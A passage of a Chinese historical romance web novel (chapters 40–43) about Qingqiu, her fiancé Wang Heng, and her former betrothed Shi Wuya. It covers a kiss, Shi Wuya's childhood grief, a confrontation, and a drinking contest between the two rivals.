点点银辉落在王恒眉眼之间,衬得他似无欲无求的仙人,周身缭绕着凌冽不可近的仙气,清秋眸光微微颤动,心道王恒或许与她想的有些不同。 所谓落差,即是不合心意,可王恒是她的未婚夫,纵使日后不合心意,她应当包容,何况她也不是什么贤良淑德的闺秀。 “落差嘛,常也,我日后与你是夫妻,夫妻之间相互包容,彼此扶持,这倒不是什么大事。其实我的性子有些执拗,若我不合常也的期待,常也当如何?”清秋凝神盯着他,打量王恒的目光。 孟子言:存乎人者,莫良于眸子,眸子不能掩其恶。胸中正,则眸子瞭焉;胸中不正,则眸子眊焉。 见她双眸似秋水满盈,泛着皎月薄光,王恒眸中含笑,将她的目光视线尽数包裹,两厢对视,他离她只半步之遥。 长凳之间,仅仅一拳之隔,观墨见此悄然退到一旁的铺子里。 王恒垂眸看她,喉结滚动,视线从她的双眸移至她的唇,朱唇轻抿,泛着些许水光,看起来格外的莹润柔软。 清秋醉在他缱绻温热的目光中,周遭的一切似乎都变得浅薄,唯独眼前人清晰明亮。 清秋败下阵来,逐渐在他的眼中慌乱,正要垂眸躲开时,王恒倏然抬手,抚上她的脸颊,轻轻抬起她的下颚。 “别动,”王恒细语呢喃,指腹碾上她的唇,“再看我一会。” 唇上覆着的指节,温热细腻,热络的气息扑面而来,王恒的目光逐渐炙热,仿佛在试探着即将濒死的猎物。 那样的目光不像他。 清秋感受到他掌心的温度,一点点的渡到她的脸颊。 王恒倾身上前,离她越发的近。 清秋微怔,本欲开口说话,可王恒指腹碾着她的唇,力道恰好止住她想说话的心思。 他的视线自上而落,很近,近得清秋听见他的吐纳声,深重沉闷,仿佛有万斤石头压着他。 目光交汇,瞳仁倒映着对方的漆黑的眸子,咫尺之遥,清秋心下惊慌,心知王恒稳重,可他离得太近,仿佛下一刻便会亲上。 第40章 落下一吻 月色溶溶, 秋风沁凉,风声拂过耳畔,吹动裙裾发丝。 如玉石般的指腹摩挲着她的唇, 清秋眸光轻颤, 心下抵触, 正欲起身时,王恒按住她的唇珠,俯身垂首落下一吻。 吻得轻薄, 如春日绵绵清风,又似溪边潺潺流水。 清秋说不清楚那吻落在何处, 王恒的指腹仍抵在唇畔, 很近,很轻,他灼热的气息扑撒在清秋鼻尖。 王恒一时意动, 心知失态失礼,可爱的人当真在身侧, 又怎么放手,他不是君子,亦不想做个君子。 他怕输给十二年的青梅竹马, 故而想尽快定亲, 想用一纸婚约圈住她。 生平第一次,王恒觉得自己如此卑劣,纵使卑劣, 他的目的却达到了,雀跃不耻交替横在他的心头,最终这刻的欢喜占了上风。 清秋轻微地动作让他略有失望,可他终是落下一吻, 不敢再往前唐突。 蜻蜓点水一般的吻,戛然而止。 王恒擦拭着她唇边的茶渍,笑得不再温和,眼中生出些许为难,似是为方才的冒昧感到抱歉。 清秋眸光微滞,一时间神魂失守,心脏骤然停了一拍,那吻究竟是何滋味,清秋已记不得,她只记得那片刻的恍然,王恒竟会亲她。 此刻他就在眼前,眸含歉意,惆怅可怜,还夹杂着丝丝不舍的情谊。 思绪混沌凌乱,清秋胸膛剧烈起伏,往后腾出一步,“常也” 清秋欲说些什么,可话到嘴边,又不知该说些什么。 “对不住,清秋。”王恒落寞弯唇,心知是他做得不对,他善妒下劣,对尚未成亲的妻子做出越矩的事。 清秋低眉垂首,摇头道:“常也,我我一时恍惚,我亦有不对的地方,常也你累了,我们回去罢。” 皎月清明,王恒仰目看他的月亮,明眸善睐,灵动可爱,若是岁月亘古停留便好了,他便能如此沉静地仰望她。 王恒起身,温笑颔首。 清秋沉下心来,与王恒一道回杭州旧宅,一路无话。回宅后清秋命绿柳收拾出两间厢房,一间离她的院子近,留给王恒,另一间稍远些,观墨主动请缨与云露去收拾。 亥时三刻,付高越带着酒气归来,清秋怕他身边无人服侍便让绿柳去照看。 绿柳欣喜应下,忙前忙后地服侍付高越,他回来时已有些醉意,面色酡红,眸光迷离,绿柳伺候一整夜才得闲。 元智见王恒来了,心中十分欢喜,拉着王恒一道下棋,谈天说地,颇有种他乡遇故知的亲切。 云露同观墨去收拾厢房,绿柳又去服侍付高越,小院里只他们三人,清秋见元智和王恒相谈甚欢,便进房内斟茶。 长月高悬,银辉满地,青梅树枝桠横斜。 “喝口茶,什么话说不完,这么晚了,还叫常也陪着你说话。”清秋将瞳瞳关进猫笼,顺道换了件天青色卷草纹罗褙子,这件不曾碰过瞳瞳。 清秋心下想着,奉茶给他二人。 元智捧着茶,故作正经地道:“付娘子,我可要告状给王郎君” 清秋眉梢轻挑,勾唇道:“你有什么状可告,我倒要听听。” 元智暗暗使眼色,只对她说着唇语,“给我买桂花糕,我就不告诉王郎君那夜有个郎君躲在院里。” 清秋暗暗思索,这件事可大可小,王恒已知她与师无涯的有过一段往事,可其中的细节,却有许多。 十二年的事又非一朝一夕能说清的。 王恒笑道:“元智,我请你吃桂花糕,你要告的状我已经知道了。” 元智眸子一转,左思右想,王恒不在杭州是怎么知晓的,难道是有千里眼? 清秋微怔,缓缓背过身,走至秋千旁,“元智,我有些话想单独同常也说,你要先去歇着可好?” “什么话是我不能听的?”元智疑道。 元智犹豫半晌,起身拍拍衣袖,无奈道:“好吧好吧,两口子的悄悄话我就不听了。” 语罢,元智飞快跑出小院。 王恒手中旋握着白瓷杯,啜饮半口,清秋闲坐在秋千上,抬眸看向他。 “常也,从前我与你说的,为一个郎君几度自戗,那是便是师无涯,就是今日你所见到的那人,与我相识十四年,从前有过婚约,这桩事旁人不知,只付家亲近些的才晓得,但后面师将军退婚了,我与他的事也不了了之。”清秋道。 她的声音在秋夜里显得清冷,王恒目光低垂,始终盯着杯沿,瓷白冰凉的触感,总叫他想起在茶楼下那个浅薄的吻。 吻落在他覆在清秋唇上的指背,轻而浅,似触微触。 指腹仿佛还残存着那点温凉的气息,杯中茶水已凉,王恒倏然回过神,清秋所说之事,他早已知晓,亲耳听见到底与别人口中听见是不同的。 说不在意是假的,王恒眸光轻浅,抿唇温笑,道:“既是你的旧识,自然不可避,倒也无妨。这也算不得什么事,清秋,我不在意的。如今半年之期已至,定亲一事母亲已早早备好,只待你回京写庚帖。” 王恒缓缓抬眸,明月映照下的目光过分轻柔,又带着些许试探。 清秋笑道:“我本也想早些回京,只是这些日子一直当误了,常也我不会食言的。” 王恒略微颔首,面带微笑。 月下松风明月,秋风微凉,不多时观墨来请王恒回屋,元智见状随王恒一道离开,清秋起身目送。 —— 子夜时分,皎月出云,满城薄雾轻纱,一道开裂的古朴白墙隔断青梅树和柿子树,秋风徐徐吹拂,荡起幽幽枝影。 落败的旧宅子里,师无涯横卧木床,双眸紧闭,眉头紧锁,窗边透进些许银光,床上人披头散发,露出宽肩劲腰,眼下一颗殷红小痣,陡增几分风流。 寂寂凉夜,师无涯呼吸沉重,额间渗出薄薄冷汗,经久不醒。 师无涯沉入梦魇,那是一场有关前半生的长梦,从他六岁前到如今,在梦里一切都那么的清晰明朗。 昭宁五十九年,十二月廿一,师无涯四岁,那一年凛冬大雪,看似与往年无甚差别,但对师无涯来说却很冷,冷得他到如今都能记得,那天落在手心的雪花是何种模样。 那是他第二次经历生离死别,他的二哥因病夭折,时年六岁。恰在前一年,他的大哥也没熬过凛冬,昭宁的杭州雪就是那样的冷。 杭州城落雪纷飞,雪花轻而薄,覆在瓦砾上如同雪白羊绒。 二哥师无忌的离世最先得知的是师远,他并未及时告诉萧稜,而是躲在偏房里痛哭流涕,抑住哽咽悲怆的声音。 去岁这个时候,他和萧稜失去了第一个孩子,师无翎。 那日,师无涯就在偏房外,他看着父亲的眼泪打湿衣袖,好似陷入万劫不复的深渊,而当师远抬眼看到他的时候,又飞快敛下那些悲痛的情绪。 师远一把抹干泪,喉咙里发出生涩的笑声,蹲下身按着他的肩,“无涯,你怎么在这?不是叫你去陪着娘亲吗?” 师无涯眸光纯净,漆黑的眸子怔怔地盯着他。 过了许久,师无涯眨了眨眼,稚气懵懂地发问:“二哥是不是不会醒了?” 师远神色几度变换,深吸口气,眼泪跟着淌下,点了点头。 他知道,去岁大哥也是这样睡了过去,自那之后,大哥就住进一方长木,再也没能醒来。 师无涯微怔,仍眨着稚气未脱的眼睛。 死亡对那时的他来说,是个不太容易理解的词,他只知道往后再也见不到兄长,他们永远的睡在了长木里。 师无涯望着师远的哀恸的双眼,泪水跟着涌下来,他说不清楚为何而哭,但他明白再也,再也见不到兄长了。 师远见他哭,忙将他搂进怀里,颤声开口:“无涯,先不要让阿娘知道。” 师无涯点点头。 可孩子不见了又能瞒多久,不过一日,萧稜便发觉不对,她揽过师无涯问他师无忌去哪了,师无涯垂首不语。 萧稜心觉不妙,双眸洇润,胸口紧着一口气,呜咽出声:“告诉阿娘,哥哥去哪儿了?” 师无涯看着母亲自然而然滚落的泪珠,不忍欺瞒母亲,垂首低声道:“爹说,哥哥睡着了再也不会不会醒来了” 萧稜双眸紧闭,心头吊着的一口气,陡然一松,随后僵在原地。 须臾,她倒地不起。 冬雪飘零,远山共色,片片雪花落在庭院里,师无涯扶起,哭喊道:“阿娘!阿娘!” 也是这一年,萧稜行将就木,药石罔效。 师无涯年岁虽小,却日日侍奉在她身边,他看着母亲病体难支,或许在不久的将来,母亲也会睡在小小的方木里。 昭宁五十九年年末,萧稜在杭州城逝世,那天的雪与平时并无差别,师无涯握紧萧稜的手,冷,冷得像铁块。 师无涯在房内烧了许多炭,温热的脸颊贴在萧稜的手背,他关紧了门窗,就想这样睡在母亲身边,仿佛这样他就能被母亲带着去见哥哥。 师远火急火燎地赶回卧房,见门窗紧闭,忙推门进去抱出师无涯,那一回他险些在屋里活活闷死。 梦里浓烈的窒息感漫上鼻腔,使他陡然惊醒。 屋外秋风乍起,吹进房内,冷意沁人,师无涯深喘着气,心口的那份惶恐失措仍旧在盘旋,眸光瞥向窗外的满地月光,忽地一声,外头传来轻细的脚步声。 师无涯眉头微蹙,长臂伸展扯起衣裳,旋即披衣起身。 门轴嘎吱转动,盈盈月光倾进房内,只一眼他便瞧见了院内之景,萦绕心头的诸多情绪倏然退散,惊慌不定的内心如同这夜的月光变得静而舒缓。 枯枝败叶,满地衰草,荒凉的小院只一棵柿子树,师无涯眸光平和,眉头轻轻舒展。 或许是因那场梦,师无涯忆起许多杭州旧事,自萧稜去世后,师远对他悉心照料,唯恐他生病受寒,近乎无微不至,有求必应。 在师无涯四岁开蒙之际,师远忙于公务,又要操持萧稜与师无忌的后事,他一时分身乏术,有半年的时间都未曾陪在师无涯身边。 而他却早已习惯,自他记事起,父母便常常奔走在大哥身边,去岁大哥去世,萧稜哀痛万分,师远便又时常陪在萧稜身边。 后来师无忌日日高烧不退,师远与萧稜常陪在次子身边,日日守夜照拂。 师无翎和师无忌是她头生的孩子,二人爱护有加,带在身边悉心教养六年,可自昭宁五十八年后,他二人先后染病,师远和萧稜又一心扑在兄长身上。 昭宁五十九年,萧稜去世后,师远将过往对师无涯的疏忽尽数补上,这是他与萧稜最后的孩子。师远教他习武,命他熟读诗书,师无涯一一照做。 师无涯年岁渐长,逐渐对母兄的离世有了实感。 昭宁六十一年,他那颗孤寂敏感的心被霜雪封住最后一丝空隙。这一年,师远去世,世上最后的亲人,也睡进小小的棺木。 也是在那一年,他见到了所谓的未婚妻,被接到付家。 那夜的风,经数年之后仿佛吹到此刻,杭州仍是杭州,而他和清秋却越来越远,从咫尺之遥到两相生厌。 师无涯倚在破败落灰的木门旁,鸦黑的眼睫微微低垂,视线落在清秋小心走动的身影。 “付二姑娘在找什么?”师无涯轻声开口,唇瓣微微扬起。 他倏然出声,唬得清秋心口突突一跳,清秋闻声抬眸,她以为师无涯已然睡了,却不想竟然还醒着。 清秋凭借月光打量破落的宅子,低声道:“师将军,瞳瞳不见了,我来寻它,打扰师将军歇息了。”她分明记得她将瞳瞳关在笼中,怎会忽然不见,猫笼半掩着,夜里清秋本想逗逗瞳瞳,却发觉它不见了。 师无涯直起身,朝她靠近,视线落在她脖上的刀伤,目光逐渐轻柔几分。 40-50 第41章 “我不欠你。” 长月如钩, 清亮亮的月光落在宅中,万籁俱寂,唯风声过耳, 带着一丝凉薄的寒气。 清秋柳眉轻蹙, 往后退去, 狐疑道:“你离我这么近作甚?” 师无涯垂眸,盯着她脖间的绢布,沉声问她:“疼吗?” “什么?” 清秋恍然抬眸, 师无涯离她的只一小步的距离,他的视线落在她的上方, 凌冽单薄的气息, 带着没由来的压迫感。 方才师无涯所说的话,她没能听清,这片刻她又因他靠近而慌神。 师无涯和王恒, 先后离她的这样近,都好似在圈地划线, 想要将她拢到一方天地,这样的感觉令她不适。 她不是任何的所有物,她可以自我囚禁, 但却不能被人圈定。 清秋凝眉, 毫不犹豫地伸手推开他,将他凌驾于她之上的压迫尽数退开。 “师将军,你方才说什么?”清秋疑道。 师无涯余光瞥见纤长细腻的手, 大部分视线却仍旧停在她脖间的伤口,他眼尾勾起笑意,恍惚间想起些往日在杭州时的画面。 “两年前,在保神观疼吗?”师无涯喉结滚动, 眼中闪过一丝歉意。 清秋先是一怔,随后痴痴笑出声,眉眼俱弯,“师将军,两年前的旧事,早就不疼了,只不过如今的伤却是疼的。” “你知道我说的不是这个。”师无涯垂下眼睫,低声道。 他若不是说这个又想说些什么呢,师无涯为何总要扯起那些她不愿意去回忆的旧事呢。 清秋敛住笑,眸光平和沉静,淡声道:“师将军想说什么?为何要揪着过去的事不放呢?沉在过去的人是走不长远的,万事万物岂可回头顾?” 话落,师无涯一怔,只觉心脏跳到了万丈高崖,他盯着清秋的眼睛,在她清凌凌的双眸中读到了厌倦、怨恨 不是不是那些情绪,是别的,有爱才会恨,清秋的眼中只有淡然疏离,爱恨仿佛倏然脱离,像是佛寺里一口古老的闷钟,一声声古朴沉闷,再无其他。 可他所认识的清秋并非一个无情无欲之人。 恰恰相反,她是他心中最率真赤忱的人,纵使她娇憨、执拗却有着最世俗喜恶。 比起清秋对他声嘶力竭,她淡然从容的姿态更让师无涯确信清秋变了,变的不是一星半点,而是蚀骨剜肉,将她活生生塑成了另一副模样。 “师将军,你对常也说的那番话,以及从前对我的调侃,又或是讥讽,我都只当师将军还未适应,可我一遍又一遍的与你强调,我要定亲了,我与你只是旧相识,除此之外,你我别无其他。”清秋一字一句地倾吐,将每一个字都在唇齿之间磨碎。 她念着旧时情谊对他敬重有加,而他却仗着从前的喜欢要断她的亲事。 师无涯尚未从怔忡的情绪中缓过来,又听疾言厉色地说了这番话,一时之间,师无涯不知该去计较那一句话,不知从何处开始辩驳。 他想一字一句地向她解释清楚,可那些话临到嘴边,却像是带刺的仙人掌,挑破唇舌,一字一句混着血生生咽回去。 “不是的”师无涯眸光忽沉,不敢去看清秋。 清秋何曾见他如此怅惘失意过,师无涯向来高傲,自他来付家之后,清秋从未见他低过头,从未向韦氏主动要过什么。 师无涯的份例一应由韦氏大利,清秋从不过问,她会将她所有的好东西分给师无涯,他有时不肯要,清秋就偷偷添置。 十二年,清秋不厌其烦地做了十二年。 “师无涯,何苦呢。姐姐已经嫁人了,当年我本想退婚成全你和姐姐,可你却一声不响地离开付家。”清秋双眸莹润,眼中水雾朦胧。 两年前在付家正堂,她答应他愿意退婚,师无涯却执意要撕毁婚书。 “师无涯,”清秋眸光清晰坚定,声音清冷,“我不欠你。” 师无涯猝然抬眸,对上清秋平静柔和目光,心头激起惊涛骇浪,在不断拍打胸腔,失去生命中重要的人的滋味,他太明白。 清秋思忖片刻,冷道:“师无涯,瞳瞳的平安符还我。” 来杭州的客船上虽遇风浪,险些让瞳瞳走失,可最后瞳瞳安然无恙地回来了,起初清秋也相信是平安符救了瞳瞳一命,实则不然。 当日,师无涯在客船上找到了瞳瞳,将它送了回来。 瞳瞳极怕生人,却在师无涯怀中待得那般安稳,那日她在客船上匆匆一眼的那个人就是师无涯。 起初她有所怀疑,师无涯怎会出现在去往杭州的客船,可当真在杭州见到师无涯时,她才明白师无涯或许就在那艘船上。 清秋目光凌厉,十分笃定。 师无涯从怀中磨蹭片刻,果真取出一道针脚整齐的平安符。 赤红平安符上用金线绣着“瞳瞳”二字,规整秀气,又用白线寥寥几针勾出狸奴的形状。 师无涯摩挲着平安符,他愣了好半晌才将平安符递给清秋,“很好看。” 清秋顺手接过,道:“打扰师将军了。” 语罢,清秋转身要走,见她动身,师无涯眼中闪过一丝惊慌,出声道:“你大姐姐成婚了?” “去岁,姐姐已嫁给李家二郎,如今成婚一年,师将军现如今来问是否晚了些?”清秋淡声道。 师无涯垂眸,微不可见地扬唇,显出极浅的笑。 “不晚。”师无涯看着她的背影,眼中攀上几许愁意,“我只将你大姐姐当作妹妹,她成婚,我替她欢喜。” 清秋回味师无涯说的话,半晌,清秋笑道:“师将军这些话同我说作甚?与我又有什么干系?天色已晚,不再打扰了。” 师无涯微怔,所有想说的话,都被她的一句话打散。 清秋的话生疏有礼,像是一道□□,她在里面,而他被隔绝在外,他想说得话一句话也说不出。 师无涯无措地怔在原地,望着清秋逐渐远去的背影。 她的背影单薄得像一片秋叶,师无涯很少见他的背影。从前清秋跟在他身后,想来只有她看着他的背影。 待清秋走后,师无涯坐到石桌旁,从怀中取出另一道平安符,指腹摩挲着歪歪扭扭的金线,上头是绣着的是他的名字。 —— 十月底,杭州的秋天愈发的凉。 付高越已请人去寻最快回汴京的客船,这两日付高越时时试探王恒,几番交谈下来,付高越心中有底,只觉二人甚是相配。 那日清秋回宅后去寻了云露,只刚叩门,就听见瞳瞳的叫声,清秋这才晓得,是绿柳让云露带着瞳瞳去了侧屋。 绿柳心细,如此一来,便能让王恒多在院中留会。 这两日清秋带着王恒逛了逛杭州名景,付高越常歇在官署,他要与师无涯一同前往水寇藏身之地,以绝后患。 绿柳这两日随付高越进出,也不宅中。 十一月初,付高越理好水寇一事,向师无涯请辞,师无涯应允。请辞那日,恰好赶上次日回汴京的客船。 临行前一日,绿柳云露忙得不可开交,绿柳忙收拾付高越的衣物,云露没头没脑地胡乱收拾,惹得清秋亲自动手。 王恒见此便同她一道收拾,云露悄无声息地退到一旁。 时近戌时,天边霞光四溢,宅中一树一猫一沙弥。 清秋命云露去飞云楼订雅间,还未出宅门,云露又匆匆折返,清秋正巧撞见她,蹙眉道:“你作甚,叫你去飞云楼怎得又回来了?平日你太纵着你,我的话都不听了?” 云露委屈,忙解释道:“不是的姑娘,有人来寻姑娘了。” 清秋走至青梅树下,从元智手中接过瞳瞳,疑道:“谁来寻我?” 话音甫落,师无涯与付高越二人踏着霞光进院,师无涯手中提着食盒,与付高越相谈甚欢。 付高越亦听得认真,含笑应承,不多时,付高越转头看向前路,见院中情形,登时敛下笑容,警惕地看向师无涯。 他二人本在官署谈论水寇处置一事,师无涯说送他,一路同行,谁知送到了他家里。 “师无涯,你”付高越气急,本欲指着骂他,却又觉得这不合适,说到底师无涯是他的上峰。 师无涯不理付高越,他眸光一转,往院中青梅树往去,夕阳西下,漫天红霞,似给树下那人扑了一层胭脂,灵动娇俏。 清秋环抱瞳瞳,瞳瞳懒懒地窝在清秋怀中,秋日天凉,它喜欢窝成一团。 “付二姑娘,这是我从飞云楼带的鱼羹。”师无涯箭步上前,将食盒搁在石桌上,极其自然地坐下。 元智一怔,盯着师无涯道:“又是你。” 师无涯瞥他一眼,沉声道:“我认得你?” 元智正欲和他辩上一辩,清秋先一步出声,柔声笑道:“多谢师将军好意,东西送到了,师将军便离开吧,家中有事,恐怕来不及招待师将军。” 话音刚落,瞳瞳前爪一扑,稳稳地落在师无涯怀里,它双瞳慵懒惬意,在他的膝上盘成一圈。 “付二姑娘,它似乎不肯让我走。”师无涯眉梢扬起,唇畔含笑。 清秋掸掸衣袖,道:“你救过瞳瞳,它自然认你,知恩图报狸奴也不例外。师将军,明日我与二哥哥要回汴京,今日还请师将军先回吧。” 身后门轴传出细微的声响,被风声掩过,从屋内走出一月白身影,好似明月青松,温润如玉。 元智见他桀骜风流,煞是讨厌,便道:“你这郎君,先是翻人院子又赖在付娘子家不走,这是何意?” 师无涯不屑与元智争论,他自顾自地揉搓瞳瞳,余光中忽见一人从清秋卧房中缓步踏出。 第42章 十二碗酒 王恒在屋内已听见师无涯的声音, 乍一见师无涯怀中抱着狸奴,悠闲自得地坐在石桌下,王恒神思一恍, 面上仍温雅含笑。 清秋顺着师无涯的视线望去, 只见王恒徐徐而来, 最终停在她身边。 “清秋,东西都已收拾好了。”王恒眸光温和,目光倾注在她身上, 清秋含笑颔首。 “那便好,有你在总安心些。”清秋眉眼俱弯, 心中生出几分欢喜, 复又看向师无涯,“师将军你也瞧见了,今日实在不得闲。” 清秋朝元智道:“把瞳瞳抱回猫笼里, 常也沾不得狸奴,我去换身衣裳。” 付高越附和道:“师无涯, 明日我们便回汴京,待回了汴京再与你细说。” 话落,付高越拽起师无涯往外走, 悄声骂道:“合着你送我回家就是为了这一遭?” 王恒拦下清秋, 挽住她的手,温声道:“不妨事,如今我也不大怕了, 总要试着碰一碰。” 清秋垂眸看王恒的手,见他手背白洁,并无红痕,心下松了口气。 “何须如此呢, 你总要顾惜着自己的身体,别胡来。”清秋忧道,往屋内去换了件衣裳。 王恒拦不住清秋,见她进屋关门,心中涌上阵阵失落,清秋分明是为他着想,他却从心底感到一阵失落。 院中气氛紧张,元智坐到青梅树下,远远地看着他们三人。 付高越攀上师无涯,试图撵他离开,好不容易见师无涯有所松动,正准备离开,王恒却上前一步,喊住师无涯。 “师郎君,我有些话想单独同你说,二哥可否行个方便?”王恒目光陡然凌厉,眼中温和的神情悉数消失。 他的声音正好只够他们三人听见,付高越闻声回头,朝王恒使眼色。 王恒毫不退让,付高越无法,摇头叹气,道:“你二人有话说,那我便不打扰了。” 师无涯剑眉轻蹙,唇畔微微勾起,好似在笑,“王郎君有话同我说?” 王恒不语,师无涯眉尾一挑,拱手做请,“请。” 晚风乍起,吹散漫天白云,暮光映在二人身上,分明是两位如玉般的郎君,可此刻却像是有万千敌军来犯,气势汹汹,搅乱平和的气氛。 付高越走至元智身边,一把抱过瞳瞳,目光还停留在师无涯和王恒离开的背影。 他本想送走师无涯,再单独同王恒解释清秋和师无涯的过往,谁知王恒竟要单独同师无涯谈。 付高越愁眉不展,一面是十二年长大的兄弟,一面是妹妹的未婚夫,两头都难平衡,这其中师无涯还是清秋曾喜欢过的人。 元智凑到付高越身前,问:“付郎君愁什么?” 付高越一手推开元智,一手摸着瞳瞳,道:“你懂什么,你这么小,不会懂的,一边玩去。” 语罢,付高越将瞳瞳抱给元智,正欲起身回房,却见清秋推门而出,她已换上碧青色折枝罗褙子,长辫斜梳,簪几支珠钗,灵秀清丽。 清秋不见人王恒,疑道:“二哥哥,常也呢?” 付高越只如实说,清秋一时犯难,她不清楚王恒会问师无涯什么,但她大抵能猜到师无涯会说些什么。 无非是要说她从前如何如何的喜欢他,又做了些什么,师无涯惯会拆她的台,清秋习以为常,只是王恒会如何想呢,清秋心中没底。 前几日她与王恒游西湖时,王恒温声问她:“倘若师郎君回头,清秋你会回头吗?” 当日她站在西湖边,只觉西湖水太过清澈,仿佛能见到它的底,就像王恒问出的话,其中的意味何其明显。 王恒曾经分明与她说过不在意师无涯的存在,可到头来,还是会问出那样的问题。 即使如此,清秋仍坚定地回他:“我不会。” 清秋失神地想着,付高越见她发愣,正欲开口,却见院外绿柳正候着他,付高越思索再三,皱眉道:“清秋,王恒自有打算不必忧心,师无涯再不济也不会说出些什么荒唐的话。” 清秋回神,淡然道:“我没担心什么,二哥哥去忙吧。” 闻言,付高越眼含笑意地去迎绿柳,清秋绿柳满面春风,脸颊绯红,眉梢添了些许风韵,忽觉不安。 绿柳打小跟着她,她们一同长大,付高越时常照拂绿柳,与她玩笑,可从未有过逾越之举。 如今乍一见绿柳羞怯的模样,清秋心有不安。 元智见人都散了,便要带瞳瞳去寻云露,清秋颔首让他去。 —— 月初西边,盛民巷小溪边,茶楼食肆挂起大红灯笼,小贩吆喝起来,街头闹巷,二人并肩同行,看似如知交好友,实则让过路人不寒而栗。 师无涯目光游离在街旁小摊,盯着恍然而过的花灯、钗环、面具,王恒久不开口,师无涯也不问。 良久,二人行至西湖边的茶楼旁,王恒倏然停步,淡声道:“师三郎,在下想请你喝盏茶。” 师无涯收回视线,打量着王恒,语调散漫,不以为意地道:“茶有什么好喝的,王郎君不如让我请你吃杯酒?” 师无涯望向不远处的飞云楼,见他踌躇,师无涯眼底划过一丝轻慢。 “王郎君连杯酒都不敢同我吃,还想与我说些什么?”师无涯眉眼之间尽是轻蔑之意,目光并不凌厉,反倒从容淡漠。 王恒眸光一沉,自是不肯落后,道:“有何不可。” 二人先后踏入飞云楼,楼内笙歌四起,热闹非凡,宋嫂引师无涯和王恒上二楼雅间,听闻二人要十坛酒,宋嫂欢喜着送了一道名菜,西湖醋鱼。 师无涯见那道酱色草鱼,眸光忽闪,似笑非笑地道:“王郎君,这是杭州名菜,可要试试?” 白磁盘中摆着一尾清蒸白鱼,淋有棕红酱汁,看着毫无食欲。 王恒眸光一扫,漠然不语。 师无涯挑眉,道:“王郎君连杭州名菜都不愿尝尝?清秋可是最爱这道菜,不试试?” 提及清秋,王恒目光松动,夹了一小块鱼肉,还未入口,就觉其腥酸异常,仿佛那鱼的一生就在眼前闪过。 师无涯见他踟蹰不下口的模样,顿觉畅快,这比他在渭州以少胜多更为高兴。 王恒轻抿一口,心口直犯恶心,连带着肺腑都像是沾了腥臭味,恨不能即刻呕出来,王恒墨眉紧蹙,下意识去拿就近的酒坛。 师无涯摁着酒坛,笑道:“王郎君,你还未咽下去,清秋幼时最爱吃这西湖醋鱼,你可晓得?” 王恒抬眸看他,把手抽回,喉结滚动,生生咽下鱼肉。 “师三郎,我不晓得,但这些用不着你来说。”王恒口齿生津,连连下咽,唇齿被鱼肉得激麻木。 师无涯拎过酒坛,倒上一碗,复又给王恒倒满。 王恒盯着满当当的瓷碗,酒香四溢,但他京中所饮的酒不过一小杯,从未像现在这般斟满一碗,在王恒失神的片刻里,师无涯痛快饮下一碗。 雅间扑满酒气,菱花窗外洒进点点月光,师无涯生得风流,饮酒之态格外肆意,王恒不屑于他武夫行径,紧蹙着眉。 半晌,师无涯又倒上一碗酒,挑衅笑道:“王恒,我和清秋十二年的情谊,你喝十二碗酒,我把她从前的一切都告诉你。” 王恒倏然抬眸,纤长的眼睫轻快地扑闪,向来温和文雅的人,如清泉般澄澈的眼眸竟生出许多怨怼。 师无涯和清秋无法消弭的十二年,是他永远无法逾越的鸿沟,倘若他能知晓清秋的一切,那么他和清秋是否就不会再有隔阂。 思及此,王恒猛然起身,沉声道:“当真?” 师无涯知道像王恒这样的贵公子,顶多喝上几杯,要他喝十二碗酒,定会醉得不省人事,到那时他便可以从他口中得知关于他不在的两年里发生了什么。 清秋为何会和他定亲,又为何会对他言笑宴宴。 “当真。”师无涯拎起一坛酒,酒坛尚未开封,师无涯挑眉推给他,“王恒,待你喝完十二碗酒,我还可以告诉你一些别的,一个问题一碗酒,你想知道的,想问的,知无不言。” “可若你未能喝下,我便有话问你,你敢喝吗?” 秋风透过菱花窗灌进雅间,凉薄的风吹动衣袍幕帘,幽幽暖香被酒气冲开。 师无涯只手撑着下颚,看着王恒一碗又一碗的往下灌,酒液顺着他的脖颈留下,他肤白似玉,几碗酒下肚,已闷得脸色通红。 王恒动作极快,他不敢停,若是停下便会吐出来,喝到第七碗时,王恒已觉那酒液如同白水,他的胃里全是酒水,一股恶心胀痛感直冲鼻腔。 他想吐,吐出胃里所有的酒液。 师无涯由最初闲散的姿态变得紧张,见他要吐,忙补上一句:“吐了就不做数了,王恒你想知道酒全喝下去。” 王恒眼尾泛红,眼中生出红血丝,意识恍惚,一阵天旋地转,他晃了晃头,看清师无涯的神情,师无涯在嘲讽挑衅他。 王恒紧紧捂着口鼻,身上的墨香被冲淡,全是酒腥气。 这片刻,王恒有些恍惚,他在做什么,曾经他引以为傲,被人称赞的君子之风不见了,只剩下争强好胜,善妒下劣。 师无涯挑眉道:“喝不了就不必勉强。” 王恒缓缓抬眸,深吸口气,复又倒出一碗酒,一声不响地往喉咙里灌。 师无涯眉头紧蹙,生出几分慌乱,汴京的世家贵族并不嗜酒,酒楼里的酒虽是清酒,可十二碗下去足足有一坛半。 王恒忍着腹痛,双眸紧闭,举起碗闷下去,酒液洒在他的衣裳上,透出水痕。 第43章 “常也,你醉了。”…… 师无涯看着他灌下五碗酒, 王恒眉眼泛着不正常的红,那是被呛的,被闷的。 王恒几度作呕, 却又立即捂紧口鼻, 好一阵他才缓过劲来, 他双眸混沌,说话断断续续。 “师无涯,你不要食言, 你与清秋的十二年,到底是如何过来的。”王恒跌坐在椅上, 强撑着身子, 目光锐利地盯着他。 师无涯只喝了一碗酒,此刻正惆怅地盯着他,王恒的目光混沌有力, 而师无涯却清明低落。 师无涯从未想过王恒能喝下十二碗酒,他也从没想过把他和清秋的十二年告诉给外人, 可王恒坚持喝下十二碗酒。 “我不想告诉你。”师无涯直言不讳,声音凉薄不羁。 闻言,王恒登时拍案起身, 指着师无涯, 气道:“你骗我,师无涯枉你是个将军,竟如此不守诺言, 非君子行径。” 师无涯不疾不徐地起身,轻拍袖口,掸开衣裳灰尘,“我没想骗你, 你喝了十二碗酒本该告诉你的,可是十二年的一晚上说不完。” “你喝了十二碗酒,我赔你两坛,我只回答你想知道的事。” 师无涯举坛往喉咙里灌,王恒讶然,武将在军中饮酒是常事,可一坛一坛地灌他却是头一次见,师无涯一刻不歇,将两坛酒饮尽。 酒劲上来,王恒忽觉脑海混沌,白花花的一片,轻纱幕帘在不断地摇晃旋转,窗外的半弯明月也落进水里。 师无涯放慢饮酒的速度,余光瞥向王恒,见他双眸弥散,便知是酒劲上来了。 待到两坛饮尽,师无涯眼神仍旧清明,他坐至王恒身边,嫌弃地推了推。 “你喝多了,就当你不想问了。”师无涯狡黠一笑,双手扶起他,问道:“你与清秋是如何相识的,她为何要与你定亲?你当真喜欢你?你为何要娶她?” 